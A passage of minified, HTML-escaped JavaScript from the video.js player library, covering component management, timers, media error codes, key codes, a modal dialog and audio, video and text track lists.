0===index&amp;&amp;(index=this.children_.length),&quot;string&quot;==typeof child){componentName=toTitleCase$1(child);var componentClassName=options.componentClass||componentName;options.name=componentName;var ComponentClass=Component.getComponent(componentClassName);if(!ComponentClass)throw new Error(&quot;Component &quot;+componentClassName+&quot; does not exist&quot;);if(&quot;function&quot;!=typeof ComponentClass)return null;component=new ComponentClass(this.player_||this,options)}else component=child;if(component.parentComponent_&amp;&amp;component.parentComponent_.removeChild(component),this.children_.splice(index,0,component),component.parentComponent_=this,&quot;function&quot;==typeof component.id&amp;&amp;(this.childIndex_[component.id()]=component),(componentName=componentName||component.name&amp;&amp;toTitleCase$1(component.name()))&amp;&amp;(this.childNameIndex_[componentName]=component,this.childNameIndex_[toLowerCase(componentName)]=component),&quot;function&quot;==typeof component.el&amp;&amp;component.el()){var refNode=null;this.children_[index+1]&amp;&amp;(this.children_[index+1].el_?refNode=this.children_[index+1].el_:isEl(this.children_[index+1])&amp;&amp;(refNode=this.children_[index+1])),this.contentEl().insertBefore(component.el(),refNode)}return component},_proto.removeChild=function(component){if(&quot;string&quot;==typeof component&amp;&amp;(component=this.getChild(component)),component&amp;&amp;this.children_){for(var childFound=!1,i=this.children_.length-1;i&gt;=0;i--)if(this.children_[i]===component){childFound=!0,this.children_.splice(i,1);break}if(childFound){component.parentComponent_=null,this.childIndex_[component.id()]=null,this.childNameIndex_[toTitleCase$1(component.name())]=null,this.childNameIndex_[toLowerCase(component.name())]=null;var compEl=component.el();compEl&amp;&amp;compEl.parentNode===this.contentEl()&amp;&amp;this.contentEl().removeChild(component.el())}}},_proto.initChildren=function(){var _this=this,children=this.options_.children;if(children){var workingChildren,parentOptions=this.options_,Tech=Component.getComponent(&quot;Tech&quot;);(workingChildren=Array.isArray(children)?children:Object.keys(children)).concat(Object.keys(this.options_).filter((function(child){return!workingChildren.some((function(wchild){return&quot;string&quot;==typeof wchild?child===wchild:child===wchild.name}))}))).map((function(child){var name,opts;return&quot;string&quot;==typeof child?opts=children[name=child]||_this.options_[name]||{}:(name=child.name,opts=child),{name:name,opts:opts}})).filter((function(child){var c=Component.getComponent(child.opts.componentClass||toTitleCase$1(child.name));return c&amp;&amp;!Tech.isTech(c)})).forEach((function(child){var name=child.name,opts=child.opts;if(void 0!==parentOptions[name]&amp;&amp;(opts=parentOptions[name]),!1!==opts){!0===opts&amp;&amp;(opts={}),opts.playerOptions=_this.options_.playerOptions;var newChild=_this.addChild(name,opts);newChild&amp;&amp;(_this[name]=newChild)}}))}},_proto.buildCSSClass=function(){return&quot;&quot;},_proto.ready=function(fn,sync){if(void 0===sync&amp;&amp;(sync=!1),fn)return this.isReady_?void(sync?fn.call(this):this.setTimeout(fn,1)):(this.readyQueue_=this.readyQueue_||[],void this.readyQueue_.push(fn))},_proto.triggerReady=function(){this.isReady_=!0,this.setTimeout((function(){var readyQueue=this.readyQueue_;this.readyQueue_=[],readyQueue&amp;&amp;readyQueue.length&gt;0&amp;&amp;readyQueue.forEach((function(fn){fn.call(this)}),this),this.trigger(&quot;ready&quot;)}),1)},_proto.$=function(selector,context){return $(selector,context||this.contentEl())},_proto.$$=function(selector,context){return $$(selector,context||this.contentEl())},_proto.hasClass=function(classToCheck){return hasClass(this.el_,classToCheck)},_proto.addClass=function(classToAdd){addClass(this.el_,classToAdd)},_proto.removeClass=function(classToRemove){removeClass(this.el_,classToRemove)},_proto.toggleClass=function(classToToggle,predicate){toggleClass(this.el_,classToToggle,predicate)},_proto.show=function(){this.removeClass(&quot;vjs-hidden&quot;)},_proto.hide=function(){this.addClass(&quot;vjs-hidden&quot;)},_proto.lockShowing=function(){this.addClass(&quot;vjs-lock-showing&quot;)},_proto.unlockShowing=function(){this.removeClass(&quot;vjs-lock-showing&quot;)},_proto.getAttribute=function(attribute){return getAttribute(this.el_,attribute)},_proto.setAttribute=function(attribute,value){setAttribute(this.el_,attribute,value)},_proto.removeAttribute=function(attribute){removeAttribute(this.el_,attribute)},_proto.width=function(num,skipListeners){return this.dimension(&quot;width&quot;,num,skipListeners)},_proto.height=function(num,skipListeners){return this.dimension(&quot;height&quot;,num,skipListeners)},_proto.dimensions=function(width,height){this.width(width,!0),this.height(height)},_proto.dimension=function(widthOrHeight,num,skipListeners){if(void 0!==num)return null!==num&amp;&amp;num==num||(num=0),-1!==(&quot;&quot;+num).indexOf(&quot;%&quot;)||-1!==(&quot;&quot;+num).indexOf(&quot;px&quot;)?this.el_.style[widthOrHeight]=num:this.el_.style[widthOrHeight]=&quot;auto&quot;===num?&quot;&quot;:num+&quot;px&quot;,void(skipListeners||this.trigger(&quot;componentresize&quot;));if(!this.el_)return 0;var val=this.el_.style[widthOrHeight],pxIndex=val.indexOf(&quot;px&quot;);return-1!==pxIndex?parseInt(val.slice(0,pxIndex),10):parseInt(this.el_[&quot;offset&quot;+toTitleCase$1(widthOrHeight)],10)},_proto.currentDimension=function(widthOrHeight){var computedWidthOrHeight=0;if(&quot;width&quot;!==widthOrHeight&amp;&amp;&quot;height&quot;!==widthOrHeight)throw new Error(&quot;currentDimension only accepts width or height value&quot;);if(computedWidthOrHeight=computedStyle(this.el_,widthOrHeight),0===(computedWidthOrHeight=parseFloat(computedWidthOrHeight))||isNaN(computedWidthOrHeight)){var rule=&quot;offset&quot;+toTitleCase$1(widthOrHeight);computedWidthOrHeight=this.el_[rule]}return computedWidthOrHeight},_proto.currentDimensions=function(){return{width:this.currentDimension(&quot;width&quot;),height:this.currentDimension(&quot;height&quot;)}},_proto.currentWidth=function(){return this.currentDimension(&quot;width&quot;)},_proto.currentHeight=function(){return this.currentDimension(&quot;height&quot;)},_proto.focus=function(){this.el_.focus()},_proto.blur=function(){this.el_.blur()},_proto.handleKeyDown=function(event){this.player_&amp;&amp;(event.stopPropagation(),this.player_.handleKeyDown(event))},_proto.handleKeyPress=function(event){this.handleKeyDown(event)},_proto.emitTapEvents=function(){var couldBeTap,touchStart=0,firstTouch=null;this.on(&quot;touchstart&quot;,(function(event){1===event.touches.length&amp;&amp;(firstTouch={pageX:event.touches[0].pageX,pageY:event.touches[0].pageY},touchStart=window.performance.now(),couldBeTap=!0)})),this.on(&quot;touchmove&quot;,(function(event){if(event.touches.length&gt;1)couldBeTap=!1;else if(firstTouch){var xdiff=event.touches[0].pageX-firstTouch.pageX,ydiff=event.touches[0].pageY-firstTouch.pageY;Math.sqrt(xdiff*xdiff+ydiff*ydiff)&gt;10&amp;&amp;(couldBeTap=!1)}}));var noTap=function(){couldBeTap=!1};this.on(&quot;touchleave&quot;,noTap),this.on(&quot;touchcancel&quot;,noTap),this.on(&quot;touchend&quot;,(function(event){(firstTouch=null,!0===couldBeTap)&amp;&amp;(window.performance.now()-touchStart&lt;200&amp;&amp;(event.preventDefault(),this.trigger(&quot;tap&quot;)))}))},_proto.enableTouchActivity=function(){if(this.player()&amp;&amp;this.player().reportUserActivity){var touchHolding,report=bind(this.player(),this.player().reportUserActivity);this.on(&quot;touchstart&quot;,(function(){report(),this.clearInterval(touchHolding),touchHolding=this.setInterval(report,250)}));var touchEnd=function(event){report(),this.clearInterval(touchHolding)};this.on(&quot;touchmove&quot;,report),this.on(&quot;touchend&quot;,touchEnd),this.on(&quot;touchcancel&quot;,touchEnd)}},_proto.setTimeout=function(fn,timeout){var timeoutId,_this2=this;return fn=bind(this,fn),this.clearTimersOnDispose_(),timeoutId=window.setTimeout((function(){_this2.setTimeoutIds_.has(timeoutId)&amp;&amp;_this2.setTimeoutIds_.delete(timeoutId),fn()}),timeout),this.setTimeoutIds_.add(timeoutId),timeoutId},_proto.clearTimeout=function(timeoutId){return this.setTimeoutIds_.has(timeoutId)&amp;&amp;(this.setTimeoutIds_.delete(timeoutId),window.clearTimeout(timeoutId)),timeoutId},_proto.setInterval=function(fn,interval){fn=bind(this,fn),this.clearTimersOnDispose_();var intervalId=window.setInterval(fn,interval);return this.setIntervalIds_.add(intervalId),intervalId},_proto.clearInterval=function(intervalId){return this.setIntervalIds_.has(intervalId)&amp;&amp;(this.setIntervalIds_.delete(intervalId),window.clearInterval(intervalId)),intervalId},_proto.requestAnimationFrame=function(fn){var id,_this3=this;return this.supportsRaf_?(this.clearTimersOnDispose_(),fn=bind(this,fn),id=window.requestAnimationFrame((function(){_this3.rafIds_.has(id)&amp;&amp;_this3.rafIds_.delete(id),fn()})),this.rafIds_.add(id),id):this.setTimeout(fn,1e3/60)},_proto.requestNamedAnimationFrame=function(name,fn){var _this4=this;if(!this.namedRafs_.has(name)){this.clearTimersOnDispose_(),fn=bind(this,fn);var id=this.requestAnimationFrame((function(){fn(),_this4.namedRafs_.has(name)&amp;&amp;_this4.namedRafs_.delete(name)}));return this.namedRafs_.set(name,id),name}},_proto.cancelNamedAnimationFrame=function(name){this.namedRafs_.has(name)&amp;&amp;(this.cancelAnimationFrame(this.namedRafs_.get(name)),this.namedRafs_.delete(name))},_proto.cancelAnimationFrame=function(id){return this.supportsRaf_?(this.rafIds_.has(id)&amp;&amp;(this.rafIds_.delete(id),window.cancelAnimationFrame(id)),id):this.clearTimeout(id)},_proto.clearTimersOnDispose_=function(){var _this5=this;this.clearingTimersOnDispose_||(this.clearingTimersOnDispose_=!0,this.one(&quot;dispose&quot;,(function(){[[&quot;namedRafs_&quot;,&quot;cancelNamedAnimationFrame&quot;],[&quot;rafIds_&quot;,&quot;cancelAnimationFrame&quot;],[&quot;setTimeoutIds_&quot;,&quot;clearTimeout&quot;],[&quot;setIntervalIds_&quot;,&quot;clearInterval&quot;]].forEach((function(_ref){var idName=_ref[0],cancelName=_ref[1];_this5[idName].forEach((function(val,key){return _this5[cancelName](key)}))})),_this5.clearingTimersOnDispose_=!1})))},Component.registerComponent=function(name,ComponentToRegister){if(&quot;string&quot;!=typeof name||!name)throw new Error(&#039;Illegal component name, &quot;&#039;+name+&#039;&quot;; must be a non-empty string.&#039;);var reason,Tech=Component.getComponent(&quot;Tech&quot;),isTech=Tech&amp;&amp;Tech.isTech(ComponentToRegister),isComp=Component===ComponentToRegister||Component.prototype.isPrototypeOf(ComponentToRegister.prototype);if(isTech||!isComp)throw reason=isTech?&quot;techs must be registered using Tech.registerTech()&quot;:&quot;must be a Component subclass&quot;,new Error(&#039;Illegal component, &quot;&#039;+name+&#039;&quot;; &#039;+reason+&quot;.&quot;);name=toTitleCase$1(name),Component.components_||(Component.components_={});var Player=Component.getComponent(&quot;Player&quot;);if(&quot;Player&quot;===name&amp;&amp;Player&amp;&amp;Player.players){var players=Player.players,playerNames=Object.keys(players);if(players&amp;&amp;playerNames.length&gt;0&amp;&amp;playerNames.map((function(pname){return players[pname]})).every(Boolean))throw new Error(&quot;Can not register Player component after player has been created.&quot;)}return Component.components_[name]=ComponentToRegister,Component.components_[toLowerCase(name)]=ComponentToRegister,ComponentToRegister},Component.getComponent=function(name){if(name&amp;&amp;Component.components_)return Component.components_[name]},Component}();Component$1.prototype.supportsRaf_=&quot;function&quot;==typeof window.requestAnimationFrame&amp;&amp;&quot;function&quot;==typeof window.cancelAnimationFrame,Component$1.registerComponent(&quot;Component&quot;,Component$1);var assertThisInitialized=function(self){if(void 0===self)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return self};var inheritsLoose=function(subClass,superClass){subClass.prototype=Object.create(superClass.prototype),subClass.prototype.constructor=subClass,subClass.__proto__=superClass};function getRange(fnName,valueIndex,ranges,rangeIndex){return function(fnName,index,maxIndex){if(&quot;number&quot;!=typeof index||index&lt;0||index&gt;maxIndex)throw new Error(&quot;Failed to execute &#039;&quot;+fnName+&quot;&#039; on &#039;TimeRanges&#039;: The index provided (&quot;+index+&quot;) is non-numeric or out of bounds (0-&quot;+maxIndex+&quot;).&quot;)}(fnName,rangeIndex,ranges.length-1),ranges[rangeIndex][valueIndex]}function createTimeRangesObj(ranges){var timeRangesObj;return timeRangesObj=void 0===ranges||0===ranges.length?{length:0,start:function(){throw new Error(&quot;This TimeRanges object is empty&quot;)},end:function(){throw new Error(&quot;This TimeRanges object is empty&quot;)}}:{length:ranges.length,start:getRange.bind(null,&quot;start&quot;,0,ranges),end:getRange.bind(null,&quot;end&quot;,1,ranges)},window.Symbol&amp;&amp;window.Symbol.iterator&amp;&amp;(timeRangesObj[window.Symbol.iterator]=function(){return(ranges||[]).values()}),timeRangesObj}function createTimeRanges(start,end){return Array.isArray(start)?createTimeRangesObj(start):void 0===start||void 0===end?createTimeRangesObj():createTimeRangesObj([[start,end]])}function bufferedPercent(buffered,duration){var start,end,bufferedDuration=0;if(!duration)return 0;buffered&amp;&amp;buffered.length||(buffered=createTimeRanges(0,0));for(var i=0;i&lt;buffered.length;i++)start=buffered.start(i),(end=buffered.end(i))&gt;duration&amp;&amp;(end=duration),bufferedDuration+=end-start;return bufferedDuration/duration}function MediaError(value){if(value instanceof MediaError)return value;&quot;number&quot;==typeof value?this.code=value:&quot;string&quot;==typeof value?this.message=value:isObject$1(value)&amp;&amp;(&quot;number&quot;==typeof value.code&amp;&amp;(this.code=value.code),assign(this,value)),this.message||(this.message=MediaError.defaultMessages[this.code]||&quot;&quot;)}MediaError.prototype.code=0,MediaError.prototype.message=&quot;&quot;,MediaError.prototype.status=null,MediaError.errorTypes=[&quot;MEDIA_ERR_CUSTOM&quot;,&quot;MEDIA_ERR_ABORTED&quot;,&quot;MEDIA_ERR_NETWORK&quot;,&quot;MEDIA_ERR_DECODE&quot;,&quot;MEDIA_ERR_SRC_NOT_SUPPORTED&quot;,&quot;MEDIA_ERR_ENCRYPTED&quot;],MediaError.defaultMessages={1:&quot;You aborted the media playback&quot;,2:&quot;A network error caused the media download to fail part-way.&quot;,3:&quot;The media playback was aborted due to a corruption problem or because the media used features your browser did not support.&quot;,4:&quot;The media could not be loaded, either because the server or network failed or because the format is not supported.&quot;,5:&quot;The media is encrypted and we do not have the keys to decrypt it.&quot;};for(var errNum=0;errNum&lt;MediaError.errorTypes.length;errNum++)MediaError[MediaError.errorTypes[errNum]]=errNum,MediaError.prototype[MediaError.errorTypes[errNum]]=errNum;var tuple=function(obj,reviver){var json,error=null;try{json=JSON.parse(obj,reviver)}catch(err){error=err}return[error,json]};function isPromise(value){return null!=value&amp;&amp;&quot;function&quot;==typeof value.then}function silencePromise(value){isPromise(value)&amp;&amp;value.then(null,(function(e){}))}var trackToJson_=function(track){return[&quot;kind&quot;,&quot;label&quot;,&quot;language&quot;,&quot;id&quot;,&quot;inBandMetadataTrackDispatchType&quot;,&quot;mode&quot;,&quot;src&quot;].reduce((function(acc,prop,i){return track[prop]&amp;&amp;(acc[prop]=track[prop]),acc}),{cues:track.cues&amp;&amp;Array.prototype.map.call(track.cues,(function(cue){return{startTime:cue.startTime,endTime:cue.endTime,text:cue.text,id:cue.id}}))})},textTrackConverter_textTracksToJson=function(tech){var trackEls=tech.$$(&quot;track&quot;),trackObjs=Array.prototype.map.call(trackEls,(function(t){return t.track}));return Array.prototype.map.call(trackEls,(function(trackEl){var json=trackToJson_(trackEl.track);return trackEl.src&amp;&amp;(json.src=trackEl.src),json})).concat(Array.prototype.filter.call(tech.textTracks(),(function(track){return-1===trackObjs.indexOf(track)})).map(trackToJson_))},textTrackConverter_jsonToTextTracks=function(json,tech){return json.forEach((function(track){var addedTrack=tech.addRemoteTextTrack(track).track;!track.src&amp;&amp;track.cues&amp;&amp;track.cues.forEach((function(cue){return addedTrack.addCue(cue)}))})),tech.textTracks()},keycode=createCommonjsModule((function(module,exports){function keyCode(searchInput){if(searchInput&amp;&amp;&quot;object&quot;==typeof searchInput){var hasKeyCode=searchInput.which||searchInput.keyCode||searchInput.charCode;hasKeyCode&amp;&amp;(searchInput=hasKeyCode)}if(&quot;number&quot;==typeof searchInput)return names[searchInput];var foundNamedKey,search=String(searchInput);return(foundNamedKey=codes[search.toLowerCase()])?foundNamedKey:(foundNamedKey=aliases[search.toLowerCase()])||(1===search.length?search.charCodeAt(0):void 0)}keyCode.isEventKey=function(event,nameOrCode){if(event&amp;&amp;&quot;object&quot;==typeof event){var keyCode=event.which||event.keyCode||event.charCode;if(null==keyCode)return!1;if(&quot;string&quot;==typeof nameOrCode){var foundNamedKey;if(foundNamedKey=codes[nameOrCode.toLowerCase()])return foundNamedKey===keyCode;if(foundNamedKey=aliases[nameOrCode.toLowerCase()])return foundNamedKey===keyCode}else if(&quot;number&quot;==typeof nameOrCode)return nameOrCode===keyCode;return!1}};var codes=(exports=module.exports=keyCode).code=exports.codes={backspace:8,tab:9,enter:13,shift:16,ctrl:17,alt:18,&quot;pause/break&quot;:19,&quot;caps lock&quot;:20,esc:27,space:32,&quot;page up&quot;:33,&quot;page down&quot;:34,end:35,home:36,left:37,up:38,right:39,down:40,insert:45,delete:46,command:91,&quot;left command&quot;:91,&quot;right command&quot;:93,&quot;numpad *&quot;:106,&quot;numpad +&quot;:107,&quot;numpad -&quot;:109,&quot;numpad .&quot;:110,&quot;numpad /&quot;:111,&quot;num lock&quot;:144,&quot;scroll lock&quot;:145,&quot;my computer&quot;:182,&quot;my calculator&quot;:183,&quot;;&quot;:186,&quot;=&quot;:187,&quot;,&quot;:188,&quot;-&quot;:189,&quot;.&quot;:190,&quot;/&quot;:191,&quot;`&quot;:192,&quot;[&quot;:219,&quot;\\&quot;:220,&quot;]&quot;:221,&quot;&#039;&quot;:222},aliases=exports.aliases={windows:91,&quot;⇧&quot;:16,&quot;⌥&quot;:18,&quot;⌃&quot;:17,&quot;⌘&quot;:91,ctl:17,control:17,option:18,pause:19,break:19,caps:20,return:13,escape:27,spc:32,spacebar:32,pgup:33,pgdn:34,ins:45,del:46,cmd:91};for(i=97;i&lt;123;i++)codes[String.fromCharCode(i)]=i-32;for(var i=48;i&lt;58;i++)codes[i-48]=i;for(i=1;i&lt;13;i++)codes[&quot;f&quot;+i]=i+111;for(i=0;i&lt;10;i++)codes[&quot;numpad &quot;+i]=i+96;var names=exports.names=exports.title={};for(i in codes)names[codes[i]]=i;for(var alias in aliases)codes[alias]=aliases[alias]}));keycode.code,keycode.codes,keycode.aliases,keycode.names,keycode.title;var ModalDialog=function(_Component){function ModalDialog(player,options){var _this;return(_this=_Component.call(this,player,options)||this).handleKeyDown_=function(e){return _this.handleKeyDown(e)},_this.close_=function(e){return _this.close(e)},_this.opened_=_this.hasBeenOpened_=_this.hasBeenFilled_=!1,_this.closeable(!_this.options_.uncloseable),_this.content(_this.options_.content),_this.contentEl_=createEl(&quot;div&quot;,{className:&quot;vjs-modal-dialog-content&quot;},{role:&quot;document&quot;}),_this.descEl_=createEl(&quot;p&quot;,{className:&quot;vjs-modal-dialog-description vjs-control-text&quot;,id:_this.el().getAttribute(&quot;aria-describedby&quot;)}),textContent(_this.descEl_,_this.description()),_this.el_.appendChild(_this.descEl_),_this.el_.appendChild(_this.contentEl_),_this}inheritsLoose(ModalDialog,_Component);var _proto=ModalDialog.prototype;return _proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:this.buildCSSClass(),tabIndex:-1},{&quot;aria-describedby&quot;:this.id()+&quot;_description&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,&quot;aria-label&quot;:this.label(),role:&quot;dialog&quot;})},_proto.dispose=function(){this.contentEl_=null,this.descEl_=null,this.previouslyActiveEl_=null,_Component.prototype.dispose.call(this)},_proto.buildCSSClass=function(){return&quot;vjs-modal-dialog vjs-hidden &quot;+_Component.prototype.buildCSSClass.call(this)},_proto.label=function(){return this.localize(this.options_.label||&quot;Modal Window&quot;)},_proto.description=function(){var desc=this.options_.description||this.localize(&quot;This is a modal window.&quot;);return this.closeable()&amp;&amp;(desc+=&quot; &quot;+this.localize(&quot;This modal can be closed by pressing the Escape key or activating the close button.&quot;)),desc},_proto.open=function(){if(!this.opened_){var player=this.player();this.trigger(&quot;beforemodalopen&quot;),this.opened_=!0,(this.options_.fillAlways||!this.hasBeenOpened_&amp;&amp;!this.hasBeenFilled_)&amp;&amp;this.fill(),this.wasPlaying_=!player.paused(),this.options_.pauseOnOpen&amp;&amp;this.wasPlaying_&amp;&amp;player.pause(),this.on(&quot;keydown&quot;,this.handleKeyDown_),this.hadControls_=player.controls(),player.controls(!1),this.show(),this.conditionalFocus_(),this.el().setAttribute(&quot;aria-hidden&quot;,&quot;false&quot;),this.trigger(&quot;modalopen&quot;),this.hasBeenOpened_=!0}},_proto.opened=function(value){return&quot;boolean&quot;==typeof value&amp;&amp;this[value?&quot;open&quot;:&quot;close&quot;](),this.opened_},_proto.close=function(){if(this.opened_){var player=this.player();this.trigger(&quot;beforemodalclose&quot;),this.opened_=!1,this.wasPlaying_&amp;&amp;this.options_.pauseOnOpen&amp;&amp;player.play(),this.off(&quot;keydown&quot;,this.handleKeyDown_),this.hadControls_&amp;&amp;player.controls(!0),this.hide(),this.el().setAttribute(&quot;aria-hidden&quot;,&quot;true&quot;),this.trigger(&quot;modalclose&quot;),this.conditionalBlur_(),this.options_.temporary&amp;&amp;this.dispose()}},_proto.closeable=function(value){if(&quot;boolean&quot;==typeof value){var closeable=this.closeable_=!!value,close=this.getChild(&quot;closeButton&quot;);if(closeable&amp;&amp;!close){var temp=this.contentEl_;this.contentEl_=this.el_,close=this.addChild(&quot;closeButton&quot;,{controlText:&quot;Close Modal Dialog&quot;}),this.contentEl_=temp,this.on(close,&quot;close&quot;,this.close_)}!closeable&amp;&amp;close&amp;&amp;(this.off(close,&quot;close&quot;,this.close_),this.removeChild(close),close.dispose())}return this.closeable_},_proto.fill=function(){this.fillWith(this.content())},_proto.fillWith=function(content){var contentEl=this.contentEl(),parentEl=contentEl.parentNode,nextSiblingEl=contentEl.nextSibling;this.trigger(&quot;beforemodalfill&quot;),this.hasBeenFilled_=!0,parentEl.removeChild(contentEl),this.empty(),insertContent(contentEl,content),this.trigger(&quot;modalfill&quot;),nextSiblingEl?parentEl.insertBefore(contentEl,nextSiblingEl):parentEl.appendChild(contentEl);var closeButton=this.getChild(&quot;closeButton&quot;);closeButton&amp;&amp;parentEl.appendChild(closeButton.el_)},_proto.empty=function(){this.trigger(&quot;beforemodalempty&quot;),emptyEl(this.contentEl()),this.trigger(&quot;modalempty&quot;)},_proto.content=function(value){return void 0!==value&amp;&amp;(this.content_=value),this.content_},_proto.conditionalFocus_=function(){var activeEl=document.activeElement,playerEl=this.player_.el_;this.previouslyActiveEl_=null,(playerEl.contains(activeEl)||playerEl===activeEl)&amp;&amp;(this.previouslyActiveEl_=activeEl,this.focus())},_proto.conditionalBlur_=function(){this.previouslyActiveEl_&amp;&amp;(this.previouslyActiveEl_.focus(),this.previouslyActiveEl_=null)},_proto.handleKeyDown=function(event){if(event.stopPropagation(),keycode.isEventKey(event,&quot;Escape&quot;)&amp;&amp;this.closeable())return event.preventDefault(),void this.close();if(keycode.isEventKey(event,&quot;Tab&quot;)){for(var focusIndex,focusableEls=this.focusableEls_(),activeEl=this.el_.querySelector(&quot;:focus&quot;),i=0;i&lt;focusableEls.length;i++)if(activeEl===focusableEls[i]){focusIndex=i;break}document.activeElement===this.el_&amp;&amp;(focusIndex=0),event.shiftKey&amp;&amp;0===focusIndex?(focusableEls[focusableEls.length-1].focus(),event.preventDefault()):event.shiftKey||focusIndex!==focusableEls.length-1||(focusableEls[0].focus(),event.preventDefault())}},_proto.focusableEls_=function(){var allChildren=this.el_.querySelectorAll(&quot;*&quot;);return Array.prototype.filter.call(allChildren,(function(child){return(child instanceof window.HTMLAnchorElement||child instanceof window.HTMLAreaElement)&amp;&amp;child.hasAttribute(&quot;href&quot;)||(child instanceof window.HTMLInputElement||child instanceof window.HTMLSelectElement||child instanceof window.HTMLTextAreaElement||child instanceof window.HTMLButtonElement)&amp;&amp;!child.hasAttribute(&quot;disabled&quot;)||child instanceof window.HTMLIFrameElement||child instanceof window.HTMLObjectElement||child instanceof window.HTMLEmbedElement||child.hasAttribute(&quot;tabindex&quot;)&amp;&amp;-1!==child.getAttribute(&quot;tabindex&quot;)||child.hasAttribute(&quot;contenteditable&quot;)}))},ModalDialog}(Component$1);ModalDialog.prototype.options_={pauseOnOpen:!0,temporary:!0},Component$1.registerComponent(&quot;ModalDialog&quot;,ModalDialog);var TrackList=function(_EventTarget){function TrackList(tracks){var _this;void 0===tracks&amp;&amp;(tracks=[]),(_this=_EventTarget.call(this)||this).tracks_=[],Object.defineProperty(assertThisInitialized(_this),&quot;length&quot;,{get:function(){return this.tracks_.length}});for(var i=0;i&lt;tracks.length;i++)_this.addTrack(tracks[i]);return _this}inheritsLoose(TrackList,_EventTarget);var _proto=TrackList.prototype;return _proto.addTrack=function(track){var _this2=this,index=this.tracks_.length;&quot;&quot;+index in this||Object.defineProperty(this,index,{get:function(){return this.tracks_[index]}}),-1===this.tracks_.indexOf(track)&amp;&amp;(this.tracks_.push(track),this.trigger({track:track,type:&quot;addtrack&quot;,target:this})),track.labelchange_=function(){_this2.trigger({track:track,type:&quot;labelchange&quot;,target:_this2})},isEvented(track)&amp;&amp;track.addEventListener(&quot;labelchange&quot;,track.labelchange_)},_proto.removeTrack=function(rtrack){for(var track,i=0,l=this.length;i&lt;l;i++)if(this[i]===rtrack){(track=this[i]).off&amp;&amp;track.off(),this.tracks_.splice(i,1);break}track&amp;&amp;this.trigger({track:track,type:&quot;removetrack&quot;,target:this})},_proto.getTrackById=function(id){for(var result=null,i=0,l=this.length;i&lt;l;i++){var track=this[i];if(track.id===id){result=track;break}}return result},TrackList}(EventTarget$2);for(var event in TrackList.prototype.allowedEvents_={change:&quot;change&quot;,addtrack:&quot;addtrack&quot;,removetrack:&quot;removetrack&quot;,labelchange:&quot;labelchange&quot;},TrackList.prototype.allowedEvents_)TrackList.prototype[&quot;on&quot;+event]=null;var disableOthers$1=function(list,track){for(var i=0;i&lt;list.length;i++)Object.keys(list[i]).length&amp;&amp;track.id!==list[i].id&amp;&amp;(list[i].enabled=!1)},AudioTrackList=function(_TrackList){function AudioTrackList(tracks){var _this;void 0===tracks&amp;&amp;(tracks=[]);for(var i=tracks.length-1;i&gt;=0;i--)if(tracks[i].enabled){disableOthers$1(tracks,tracks[i]);break}return(_this=_TrackList.call(this,tracks)||this).changing_=!1,_this}inheritsLoose(AudioTrackList,_TrackList);var _proto=AudioTrackList.prototype;return _proto.addTrack=function(track){var _this2=this;track.enabled&amp;&amp;disableOthers$1(this,track),_TrackList.prototype.addTrack.call(this,track),track.addEventListener&amp;&amp;(track.enabledChange_=function(){_this2.changing_||(_this2.changing_=!0,disableOthers$1(_this2,track),_this2.changing_=!1,_this2.trigger(&quot;change&quot;))},track.addEventListener(&quot;enabledchange&quot;,track.enabledChange_))},_proto.removeTrack=function(rtrack){_TrackList.prototype.removeTrack.call(this,rtrack),rtrack.removeEventListener&amp;&amp;rtrack.enabledChange_&amp;&amp;(rtrack.removeEventListener(&quot;enabledchange&quot;,rtrack.enabledChange_),rtrack.enabledChange_=null)},AudioTrackList}(TrackList),disableOthers=function(list,track){for(var i=0;i&lt;list.length;i++)Object.keys(list[i]).length&amp;&amp;track.id!==list[i].id&amp;&amp;(list[i].selected=!1)},VideoTrackList=function(_TrackList){function VideoTrackList(tracks){var _this;void 0===tracks&amp;&amp;(tracks=[]);for(var i=tracks.length-1;i&gt;=0;i--)if(tracks[i].selected){disableOthers(tracks,tracks[i]);break}return(_this=_TrackList.call(this,tracks)||this).changing_=!1,Object.defineProperty(assertThisInitialized(_this),&quot;selectedIndex&quot;,{get:function(){for(var _i=0;_i&lt;this.length;_i++)if(this[_i].selected)return _i;return-1},set:function(){}}),_this}inheritsLoose(VideoTrackList,_TrackList);var _proto=VideoTrackList.prototype;return _proto.addTrack=function(track){var _this2=this;track.selected&amp;&amp;disableOthers(this,track),_TrackList.prototype.addTrack.call(this,track),track.addEventListener&amp;&amp;(track.selectedChange_=function(){_this2.changing_||(_this2.changing_=!0,disableOthers(_this2,track),_this2.changing_=!1,_this2.trigger(&quot;change&quot;))},track.addEventListener(&quot;selectedchange&quot;,track.selectedChange_))},_proto.removeTrack=function(rtrack){_TrackList.prototype.removeTrack.call(this,rtrack),rtrack.removeEventListener&amp;&amp;rtrack.selectedChange_&amp;&amp;(rtrack.removeEventListener(&quot;selectedchange&quot;,rtrack.selectedChange_),rtrack.selectedChange_=null)},VideoTrackList}(TrackList),TextTrackList=function(_TrackList){function TextTrackList(){return _TrackList.apply(this,arguments)||this}inheritsLoose(TextTrackList,_TrackList);var _proto=TextTrackList.prototype;return _proto.addTrack=function(track){var _this=this;_TrackList.prototype.addTrack.call(this,track),this.queueChange_||(this.queueChange_=function(){return _this.queueTrigger(&quot;change&quot;)}),this.triggerSelectedlanguagechange||(this.triggerSelectedlanguagechange_=function(){return _this.trigger(&quot;selectedlanguagechange&quot;)}),track.addEventListener(&quot;modechange&quot;,this.queueChange_);-1===[&quot;metadata&quot;,&quot;chapters&quot;].indexOf(track.kind)&amp;&amp;track.addEventListener(&quot;modechange&quot;,this.triggerSelectedlanguagechange_)},_proto.removeTrack=function(rtrack){_TrackList.prototype.removeTrack.call(this,rtrack),rtrack.removeEventListener&amp;&amp;(this.queueChange_&amp;&amp;rtrack.removeEventListener(&quot;modechange&quot;,this.queueChange_),this.selectedlanguagechange_&amp;&amp;rtrack.removeEventListener(&quot;modechange&quot;,this.triggerSelectedlanguagechange_))},TextTrackList}(TrackList),HtmlTrackElementList=function(){function HtmlTrackElementList(trackElements){void 0===trackElements&amp;&amp;(trackElements=[]),this.trackElements_=[],Object.defineProperty(this,&quot;length&quot;,{get:function(){return this.trackElements_.length}});for(var i=0,length=trackElements.length;i&lt;length;i++)this.addTrackElement_(trackElements[i])}var _proto=HtmlTrackElementList.prototype;return _proto.addTrackElement_=function(trackElement){var index=this.trackElements_.length;&quot;&quot;+index in this||Object.defineProperty(this,index,{get:function(){return 